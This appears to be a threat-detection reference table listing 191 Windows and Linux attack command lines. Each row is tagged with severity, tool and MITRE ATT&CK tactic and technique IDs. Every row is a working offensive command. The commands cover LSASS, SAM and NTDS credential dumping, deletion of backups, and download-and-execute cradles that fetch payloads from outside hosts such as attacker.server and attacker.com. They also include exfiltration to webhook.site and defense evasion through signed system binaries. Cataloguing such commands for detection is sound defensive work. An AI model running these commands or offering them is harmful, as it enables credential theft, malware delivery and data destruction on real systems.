#	R ↓	F	command	tool	tactics	techniques	os
1	CRIT	HIGH	adplus.exe -hang -pn lsass.exe -o c:\users\mr.d0x\output\folder -quiet	adplus	Credential Access	T1003.001	Windows
2	CRIT	HIGH	dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll	dnscmd	Persistence Privilege Escalation	T1543.003	Windows
3	CRIT	HIGH	esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit	esentutl	Credential Access	T1003.003	Windows
4	CRIT	HIGH	findstr /S /I cpassword \\sysvol\policies\*.xml	findstr	Credential Access	T1552.001	Windows
5	CRIT	HIGH	laZagne.exe all -oA -output [FILE]	lazagne	Credential Access	T1555 T1555.001 T1555.003 T1555.004 T1003.001 T1003.004 T1003.005 T1003.007 T1003.008 T1552.001	Windows
6	CRIT	HIGH	nanodump.x64.exe -w "%temp%\nanodump.dmp"	nanodump	Credential Access	T1003.001	Windows
7	CRIT	HIGH	Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump	Out-Minidump	Credential Access	T1003.001	Windows
8	CRIT	HIGH	ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q	ntdsutil	Credential Access	T1003.003	Windows
9	CRIT	HIGH	reg save HKLM\SECURITY c:\test\security.bak && reg save HKLM\SYSTEM c:\test\system.bak && reg save HKLM\SAM c:\test\sam.bak	reg	Credential Access	T1003.002	Windows
10	CRIT	HIGH	regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll	regsvr32	Defense Evasion Command and Control	T1218.010 T1105	Windows
11	CRIT	HIGH	rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"	Unregmp2	Defense Evasion	T1202	Windows
12	CRIT	HIGH	SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"	SyncAppvPublishingServer	Defense Evasion Command and Control	T1218 T1105	Windows
13	CRIT	HIGH	wbadmin delete catalog -quiet	wbadmin	Impact	T1490	Windows
14	CRIT	HIGH	wbadmin delete systemstatebackup -keepversions:0	wbadmin	Impact	T1490	Windows
15	CRIT	HIGH	wsl.exe -u root -e cat /etc/shadow	wsl	Defense Evasion Credential Access	T1202 T1003.008	Windows
16	HIGH	HIGH	%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty	winrm	Defense Evasion Lateral Movement	T1216 T1021.006	Windows
17	HIGH	HIGH	AccCheckConsole.exe -window "Untitled - Notepad" C:\path\to\your\lolbas.dll	AccCheckConsole	Defense Evasion	T1218	Windows
18	HIGH	HIGH	adfind -sc computers_pwdnotreqd	ADFind	Discovery	T1018	Windows
19	HIGH	HIGH	AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\temp\" 0 1	AgentExecutor	Defense Evasion Execution	T1218 T1059.001	Windows
20	HIGH	HIGH	AgentExecutor.exe -powershell "c:\temp\malicious.ps1" "c:\temp\test.log" "c:\temp\test1.log" "c:\temp\test2.log" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1	AgentExecutor	Defense Evasion Execution	T1218 T1059.001	Windows
21	HIGH	HIGH	AppVLP.exe \\webdav\calc.bat	AppVLP	Defense Evasion Command and Control	T1218 T1105	Windows
22	HIGH	HIGH	AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"	AppVLP	Defense Evasion Execution Command and Control	T1218 T1059.001 T1105	Windows
23	HIGH	HIGH	AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"	AppVLP	Defense Evasion Execution	T1218 T1059.001	Windows
24	HIGH	HIGH	ATBroker.exe /start [MALWARE]	ATBroker	Defense Evasion	T1218	Windows
25	HIGH	HIGH	bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset	BITSAdmin	Defense Evasion Command and Control	T1218 T1564.004 T1105	Windows
26	HIGH	HIGH	bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1	BITSAdmin	Defense Evasion Command and Control	T1218 T1564.004 T1105	Windows
27	HIGH	HIGH	bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1	BITSAdmin	Defense Evasion Command and Control	T1218 T1564.004 T1105	Windows
28	HIGH	HIGH	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u	aspnet_compiler	Defense Evasion	T1127	Windows
29	HIGH	HIGH	C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw	imewdbld	Command and Control	T1105	Windows
30	HIGH	HIGH	C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full	comsvcs	Defense Evasion Credential Access	T1218.011 T1003.001	Windows
31	HIGH	HIGH	cdb.exe -cf x64_calc.wds -o notepad.exe	cdb	Defense Evasion	T1127	Windows
32	HIGH	HIGH	cdb.exe -pd -pn <process_name> .shell <cmd>	cdb	Defense Evasion	T1127	Windows
33	HIGH	HIGH	certoc.exe -GetCACAPS https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1	certoc	Command and Control	T1105	Windows
34	HIGH	HIGH	certoc.exe -LoadDLL "C:\test\calc.dll"	certoc	Execution	T1218	Windows
35	HIGH	HIGH	certutil -addstore -f -user [certificatestorename] [file]	certutil	Defense Evasion	T1553.004	windows
36	HIGH	HIGH	certutil -decode -f [EncodedFile] [DestinationPath]	certutil	Defense Evasion	T1140	windows
37	HIGH	HIGH	certutil -encode [Input] [Output]	certutil	Defense Evasion	T1140	windows
38	HIGH	HIGH	cmd.exe - < fakefile.doc:payload.bat	cmd	Execution Defense Evasion	T1059.003 T1564.004	Windows
39	HIGH	HIGH	cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"	ftp	Defense Evasion Command and Control	T1202 T1105	Windows
40	HIGH	HIGH	cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat	cmd	Execution Defense Evasion	T1059.003 T1564.004	Windows
41	HIGH	HIGH	cmdkey /list	cmdkey	Credential Access	T1003 T1003.005	Windows
42	HIGH	HIGH	cmdl32 /vpn /lan %cd%\config	cmdl32	Command and Control	T1105	Windows
43	HIGH	HIGH	cmstp.exe /ni /s c:\cmstp\CorpVPN.inf	cmstp	Defense Evasion	T1218.003	Windows
44	HIGH	HIGH	cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf	cmstp	Defense Evasion	T1218.003	Windows
45	HIGH	HIGH	cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt	cmstp	Defense Evasion	T1218.003	Windows
46	HIGH	HIGH	ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile	ConfigSecurityPolicy	Exfiltration	T1567	Windows
47	HIGH	HIGH	control.exe c:\windows\tasks\file.txt:evil.dll	Control	Defense Evasion	T1564.004 T1218.002	Windows
48	HIGH	HIGH	copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe	mpcmdrun	Command and Control	T1105	Windows
49	HIGH	HIGH	copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf	manage-bde	Defense Evasion	T1216 T1036.005	Windows
50	HIGH	HIGH	coregen.exe /L C:\folder\evil.dll dummy_assembly_name	coregen	Defense Evasion Privilege Escalation	T1055 T1218	Windows
51	HIGH	HIGH	coregen.exe dummy_assembly_name	coregen	Defense Evasion Privilege Escalation	T1055 T1218	Windows
52	HIGH	HIGH	cscript c:\ads\file.txt:script.vbs	cscript	Defense Evasion Execution	T1564.004 T1216 T1059.005	Windows
53	HIGH	HIGH	DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile	DataSvcUtil	Exfiltration	T1567	Windows
54	HIGH	HIGH	DefaultPack.exe /C:"process.exe args"	DefaultPack	Defense Evasion	T1218	Windows
55	HIGH	HIGH	diskshadow exec calc.exe	DiskShadow	Defense Evasion	T1202	Windows
56	HIGH	HIGH	diskshadow.exe /s c:\test\diskshadow.txt	DiskShadow	Credential Access	T1003.003	Windows
57	HIGH	HIGH	dnx.exe consoleapp	dnx	Defense Evasion	T1127	Windows
58	HIGH	HIGH	dump64.exe <pid> out.dmp	dump64	Credential Access	T1003.001	Windows
59	HIGH	HIGH	Dxcap.exe -c C:\Windows\System32\notepad.exe	dxcap	Defense Evasion	T1127	Windows
60	HIGH	HIGH	echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt	ftp	Defense Evasion	T1202	Windows
61	HIGH	HIGH	echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js	wscript	Defense Evasion Execution Command and Control	T1564.004 T1059.005 T1105	Windows
62	HIGH	HIGH	esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o	esentutl	Defense Evasion Command and Control	T1564.004 T1105	Windows
63	HIGH	HIGH	esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o	esentutl	Command and Control	T1105	Windows
64	HIGH	HIGH	esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o	esentutl	Defense Evasion	T1564.004	Windows
65	HIGH	HIGH	esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o	esentutl	Defense Evasion	T1564.004	Windows
66	HIGH	HIGH	esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o	esentutl	Command and Control	T1105	Windows
67	HIGH	HIGH	Excel.exe http://192.168.1.10/TeamsAddinLoader.dll	excel	Command and Control	T1105	Windows
68	HIGH	HIGH	expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat	expand	Command and Control Defense Evasion	T1105 T1564.004	Windows
69	HIGH	HIGH	explorer.exe /root,"C:\Windows\System32\calc.exe"	explorer	Defense Evasion	T1202	Windows
70	HIGH	HIGH	explorer.exe C:\Windows\System32\notepad.exe	explorer	Defense Evasion	T1202	Windows
71	HIGH	HIGH	extexport.exe c:\test foo bar	ExtExport	Defense Evasion	T1218	Windows
72	HIGH	HIGH	extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe	extrac32	Defense Evasion Command and Control	T1564.004 T1105	Windows
73	HIGH	HIGH	extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe	extrac32	Defense Evasion	T1564.004	Windows
74	HIGH	HIGH	extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe	extrac32	Command and Control	T1105	Windows
75	HIGH	HIGH	findstr /V /L [PATTERN] \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe	findstr	Defense Evasion	T1564.004	Windows
76	HIGH	HIGH	findstr /V /L [PATTERN] c:\ADS\file.exe > c:\ADS\file.txt:file.exe	findstr	Defense Evasion	T1564.004	Windows
77	HIGH	HIGH	finger user@example.host.com | more +2 | cmd	finger	Command and Control	T1105	Windows
78	HIGH	HIGH	fltmc.exe unload [DRIVER]	fltmc	Defense Evasion	T1562.001	Windows
79	HIGH	HIGH	fltmc.exe | findstr "385201"	fltmc	Discovery	T1007	Windows
80	HIGH	HIGH	fscan.exe -h 10.227.156.0/24 -nopoc -np -p 80,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,3389	fscan	Discovery Reconnaissance	T1018 T1595.002	Windows
81	HIGH	HIGH	fsi.exe c:\path\to\test.fsscript	fsi	Execution Defense Evasion	T1059 T1218	Windows
82	HIGH	HIGH	fsianycpu.exe c:\path\to\test.fsscript	fsianycpu	Execution Defense Evasion	T1059 T1218	Windows
83	HIGH	HIGH	fsutil.exe file setZeroData offset=0 length=9999999999 C:\Windows\Temp\payload.dll	fsutil	Impact Defense Evasion	T1485 T1070.004	Windows
84	HIGH	HIGH	fsutil.exe usn deletejournal /d c:	fsutil	Impact Defense Evasion	T1485 T1070.004	Windows
85	HIGH	HIGH	Get-Domain -Domain [DOMAIN]	powersploit	Discovery	T1018	Windows
86	HIGH	HIGH	Get-DomainComputer -SearchBase [BASE}] -LDAPFilter [FILTER]	powersploit	Discovery	T1018	Windows
87	HIGH	HIGH	Get-DomainDNSRecord -Domain [DOMAIN]	powersploit	Discovery	T1018	Windows
88	HIGH	HIGH	Get-Forest -Forest [FOREST]	powersploit	Discovery	T1482	Windows
89	HIGH	HIGH	GfxDownloadWrapper.exe [URL] [FILE]	gfxdownloadwrapper	Command and Control	T1105	Windows
90	HIGH	HIGH	HH.exe C:\somefile.chm	hh	Command and Control Defense Evasion	T1105 T1218.001	Windows
91	HIGH	HIGH	HH.exe c:\windows\system32\calc.exe	hh	Command and Control Defense Evasion	T1105 T1218.001	Windows
92	HIGH	HIGH	HH.exe http://some.url/script.ps1	hh	Command and Control Defense Evasion	T1105 T1218.001	Windows
93	HIGH	HIGH	ieexec.exe http://x.x.x.x:8080/bypass.exe	ieexec	Command and Control Defense Evasion	T1105 T1218	Windows
94	HIGH	HIGH	InfDefaultInstall.exe Infdefaultinstall.inf	infdefaultinstall	Defense Evasion	T1218	Windows
95	HIGH	HIGH	InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll	InstallUtil	Defense Evasion	T1218.004	Windows
96	HIGH	HIGH	iptables -F	iptables	Defense Evasion	T1562.004	Linux
97	HIGH	HIGH	jsc.exe /t:library Library.js	jsc	Defense Evasion	T1127	Windows
98	HIGH	HIGH	jsc.exe scriptfile.js	jsc	Defense Evasion	T1127	Windows
99	HIGH	HIGH	makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab	makecab	Defense Evasion Collection Command and Control	T1564.004 T1560.001 T1105	Windows
100	HIGH	HIGH	makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab	makecab	Defense Evasion Collection	T1564.004 T1560.001	Windows
101	HIGH	HIGH	Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"	mavinject	Defense Evasion	T1564.004 T1218.013	Windows
102	HIGH	HIGH	Microsoft.Workflow.Compiler.exe tests.xml results.xml	microsoft.workflow.compiler	Defense Evasion	T1127	Windows
103	HIGH	HIGH	mmc.exe -Embedding c:\path\to\test.msc	mmc	Defense Evasion	T1218.014	Windows
104	HIGH	HIGH	MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe	mpcmdrun	Command and Control	T1105	Windows
105	HIGH	HIGH	MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe	mpcmdrun	Command and Control Defense Evasion	T1105 T1564.004	Windows
106	HIGH	HIGH	msbuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo	msbuild	Defense Evasion	T1127.001	Windows
107	HIGH	HIGH	msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="c:\temp\calc.bat"	msdeploy	Defense Evasion	T1218	Windows
108	HIGH	HIGH	msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE	msdt	Defense Evasion	T1218	Windows
109	HIGH	HIGH	mshta [filename.hta]	mshta	Defense Evasion	T1218.005	windows
110	HIGH	HIGH	mshta javascript:[Commands/Script]	mshta	Defense Evasion	T1218.005	windows
111	HIGH	HIGH	mshta vbscript:Execute("[Commands/Script]")	mshta	Defense Evasion	T1218.005	windows
112	HIGH	HIGH	mshta.exe "[Inline HTA Script]"	mshta	Defense Evasion	T1218.005	windows
113	HIGH	HIGH	mshta.exe [http://malware_url]	mshta	Defense Evasion	T1218.005	windows
114	HIGH	HIGH	mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();	mshta	Defense Evasion	T1218.005	windows
115	HIGH	HIGH	mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\'h\'+\'x\'+\'x\'+\'p\'+\'s:\'+\'//p\'+\'a\'+\'s\'+\'t\'+\'e\'+\'b\'+\'i\'+\'n\'+\'.\'+\'c\'+\'o\'+\'m\'+\'/\'+\'r\'+\'a\'+\'w\'+\'/\'+\'XXXXXXXX\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)	mshta	Defense Evasion Execution	T1218.005 T1059.001	windows
116	HIGH	HIGH	msiexec /q /i http://192.168.100.3/tmp/cmd.png	msiexec	Defense Evasion	T1218.007	Windows
117	HIGH	HIGH	msiexec /y "C:\folder\evil.dll"	msiexec	Defense Evasion	T1218.007	Windows
118	HIGH	HIGH	mstsc.exe /control /noConsentPrompt /shadow:1 /v:localhost	mstsc	Lateral Movement	T1021	Windows
119	HIGH	HIGH	msxsl.exe customers.xml script.xsl	msxsl	Defense Evasion	T1218	Windows
120	HIGH	HIGH	msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xsl	msxsl	Defense Evasion Command and Control	T1218 T1105	Windows
121	HIGH	HIGH	net localgroup Administrators [USER] /add	net	Discovery	T1136.001	windows
122	HIGH	HIGH	net view /all /domain	net	Discovery	T1135 T1018	windows
123	HIGH	HIGH	netsh.exe add helper C:\Users\User\file.dll	netsh	Privilege Escalation Persistence	T1546.007	Windows
124	HIGH	HIGH	ngrok.exe config add-authtoken [AUTH TOKEN REACTED]	ngrok	Command and Control	T1572 T1102	Windows
125	HIGH	HIGH	odbcconf -f file.rsp	odbcconf	Defense Evasion	T1218.008	Windows
126	HIGH	HIGH	odbcconf /a {REGSVR c:\test\test.dll}	odbcconf	Defense Evasion	T1218.008	Windows
127	HIGH	HIGH	pcalua.exe -a \\server\payload.dll	pcalua	Defense Evasion Command and Control	T1202 T1105	Windows
128	HIGH	HIGH	pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java	pcalua	Defense Evasion	T1202 T1218.002	Windows
129	HIGH	HIGH	pcalua.exe -a calc.exe	pcalua	Defense Evasion	T1202	Windows
130	HIGH	HIGH	Pcwrun.exe c:\temp\beacon.exe	pcwrun	Defense Evasion	T1218	Windows
131	HIGH	HIGH	Pester.bat ;calc.exe	pester	Defense Evasion	T1216	Windows
132	HIGH	HIGH	Pester.bat [/help|?|-?|/?] "$null; notepad"	pester	Defense Evasion	T1216	Windows
133	HIGH	HIGH	pnputil.exe -i -a C:\Users\hai\Desktop\mo.inf	pnputil	Persistence Privilege Escalation	T1547	Windows
134	HIGH	HIGH	Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"	powerpnt	Command and Control	T1105	Windows
135	HIGH	HIGH	powershell -c (New-Object Net.WebClient).DownloadFile('http://download.anydesk.com/AnyDesk.msi', 'AnyDesk.msi')	AnyDesk	Command and Control	T1105	Windows
136	HIGH	HIGH	powershell -command ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1 \nSyncInvoke <executable> [args]"	CL_Invocation	Defense Evasion	T1216	Windows
137	HIGH	HIGH	powershell -command ". C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess calc.ps1"	CL_Mutexverifiers	Defense Evasion	T1216	Windows
138	HIGH	HIGH	powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://attacker.com/payload.txt')|iex"	PowerShell	Execution Command and Control	T1059.001 T1105	Windows
139	HIGH	HIGH	powershell.exe -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"	CL_LoadAssembly	Defense Evasion	T1216	Windows
140	HIGH	HIGH	powershell.exe -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()”	UtilityFunctions	Defense Evasion	T1216	Windows
141	HIGH	HIGH	powershell.exe -nop -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/Pause-Process/master/pause-process.ps1');Pause-Process -ID 1180;UnPause-Process -ID 1180;"	PowerShell	Execution	T1059.001	Windows
142	HIGH	HIGH	Presentationhost.exe C:\temp\Evil.xbap	Presentationhost	Defense Evasion	T1218	Windows
143	HIGH	HIGH	print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe	print	Defense Evasion	T1564.004	Windows
144	HIGH	HIGH	print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe	print	Defense Evasion Command and Control	T1564.004 T1105	Windows
145	HIGH	HIGH	PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip	printbrm	Command and Control Collection	T1105 T1560.001	Windows
146	HIGH	HIGH	PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder	printbrm	Command and Control Collection Defense Evasion	T1105 T1560.001 T1564.004	Windows
147	HIGH	HIGH	procdump -accepteula -ma [LSASS_PID] [OUTPUT_FILE]	ProcDump	Credential Access	T1003.001	Windows
148	HIGH	HIGH	procdump -accepteula -r -ma [LSASS_PID] [OUTPUT_FILE]	ProcDump	Credential Access	T1003.001	Windows
149	HIGH	HIGH	procdump.exe -md calc.dll explorer.exe	ProcDump	Defense Evasion	T1202	Windows
150	HIGH	HIGH	procdump.exe -md calc.dll foobar	ProcDump	Defense Evasion	T1202	Windows
151	HIGH	HIGH	psexec -accepteula \\* -r [SERVICE_NAME] -s -d [EXECUTABLE] -u [USER] -p [PASSWORD]	PsExec	Lateral Movement Persistence Privilege Escalation Execution	T1021.002 T1570 T1543.003 T1569.002	Windows
152	HIGH	HIGH	pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct	pubprn	Defense Evasion	T1216.001	Windows
153	HIGH	HIGH	rcsi.exe bypass.csx	rcsi	Defense Evasion	T1127	Windows
154	HIGH	HIGH	rdrleakdiag.exe /p [PID] /o c:\evil /fullmemdmp /wait 1	rdrleakdiag	Credential Access	T1003 T1003.001	Windows
155	HIGH	HIGH	reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f”	reg	Defense Evasion	T1112	Windows
156	HIGH	HIGH	reg.exe ADD “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f	reg	Defense Evasion	T1112	Windows
157	HIGH	HIGH	regasm.exe /U AllTheThingsx64.dll	regasm	Defense Evasion	T1218.009	Windows
158	HIGH	HIGH	regasm.exe AllTheThingsx64.dll	regasm	Defense Evasion	T1218.009	Windows
159	HIGH	HIGH	regedit /e [OutputPath] [RegPath]	regedit	Discovery	T1012	Windows
160	HIGH	HIGH	regedit /s [Path to .REG file]	regedit	Defense Evasion	T1112	Windows
161	HIGH	HIGH	regini -m [\\ComputerName] [ConfigFile]	regini	Defense Evasion	T1112	Windows
162	HIGH	HIGH	regini [ConfigFile]	regini	Defense Evasion	T1112	Windows
163	HIGH	HIGH	Register-cimprovider -path "C:\folder\evil.dll"	Register-cimprovider	Defense Evasion	T1218	Windows
164	HIGH	HIGH	regsvcs.exe AllTheThingsx64.dll	regsvcs	Defense Evasion	T1218.009	Windows
165	HIGH	HIGH	Remote.exe /s "\\10.10.10.30\binaries\file.exe" [ANY ARGUMENTS/COMMANDS]	remote	Defense Evasion Command and Control	T1127 T1105	Windows
166	HIGH	HIGH	Remote.exe /s "powershell.exe" [ANY ARGUMENTS/COMMANDS]	remote	Defense Evasion	T1127	Windows
167	HIGH	HIGH	rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"	advpack	Defense Evasion	T1218.011	Windows
168	HIGH	HIGH	rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"	comsvcs	Defense Evasion Credential Access	T1218.011 T1003.001	Windows
169	HIGH	HIGH	rundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"	ieadvpack	Defense Evasion	T1218.011	Windows
170	HIGH	HIGH	rundll32.exe -sta {CLSID}	rundll32	Defense Evasion	T1218.011	Windows
171	HIGH	HIGH	rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint	rundll32	Defense Evasion Command and Control	T1218.011 T1105	Windows
172	HIGH	HIGH	rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,	advpack	Defense Evasion	T1218.011	Windows
173	HIGH	HIGH	rundll32.exe advpack.dll,RegisterOCX calc.exe	advpack	Defense Evasion	T1218.011	Windows
174	HIGH	HIGH	rundll32.exe advpack.dll,RegisterOCX test.dll	advpack	Defense Evasion	T1218.011	Windows
175	HIGH	HIGH	rundll32.exe AllTheThingsx64,EntryPoint	rundll32	Defense Evasion	T1218.011	Windows
176	HIGH	HIGH	rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr	desk	Defense Evasion Command and Control	T1218.011 T1105	Windows
177	HIGH	HIGH	rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr	desk	Defense Evasion	T1218.011	Windows
178	HIGH	HIGH	rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo	Dfsvc	Execution	T1127	Windows
179	HIGH	HIGH	rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,	ieadvpack	Defense Evasion	T1218.011	Windows
180	HIGH	HIGH	rundll32.exe ieadvpack.dll,RegisterOCX calc.exe	ieadvpack	Defense Evasion	T1218.011	Windows
181	HIGH	HIGH	rundll32.exe ieadvpack.dll,RegisterOCX test.dll	ieadvpack	Defense Evasion	T1218.011	Windows
182	HIGH	HIGH	rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"	ieframe	Command and Control Defense Evasion	T1105 T1218.011	Windows
183	HIGH	HIGH	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")	rundll32	Defense Evasion Command and Control	T1218.011 T1105	Windows
184	HIGH	HIGH	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"	rundll32	Defense Evasion Command and Control	T1218.011 T1105	Windows
185	HIGH	HIGH	rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"	mshtml	Defense Evasion	T1218.011	Windows
186	HIGH	HIGH	rundll32.exe pcwutl.dll,LaunchApplication calc.exe	pcwutl	Defense Evasion	T1218.011	Windows
187	HIGH	HIGH	rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf	setupapi	Defense Evasion	T1218.011	Windows
188	HIGH	HIGH	rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"	shdocvw	Defense Evasion	T1218.011	Windows
189	HIGH	HIGH	rundll32.exe shell32.dll,Control_RunDLL [payload.dll | payload.exe | "cmd.exe" "/c echo test"]	shell32	Defense Evasion	T1218.011	Windows
190	HIGH	HIGH	rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.inf	syssetup	Defense Evasion	T1218.011	Windows
191	HIGH	HIGH	rundll32.exe url.dll,FileProtocolHandler calc.exe	url	Defense Evasion	T1218.011	Windows
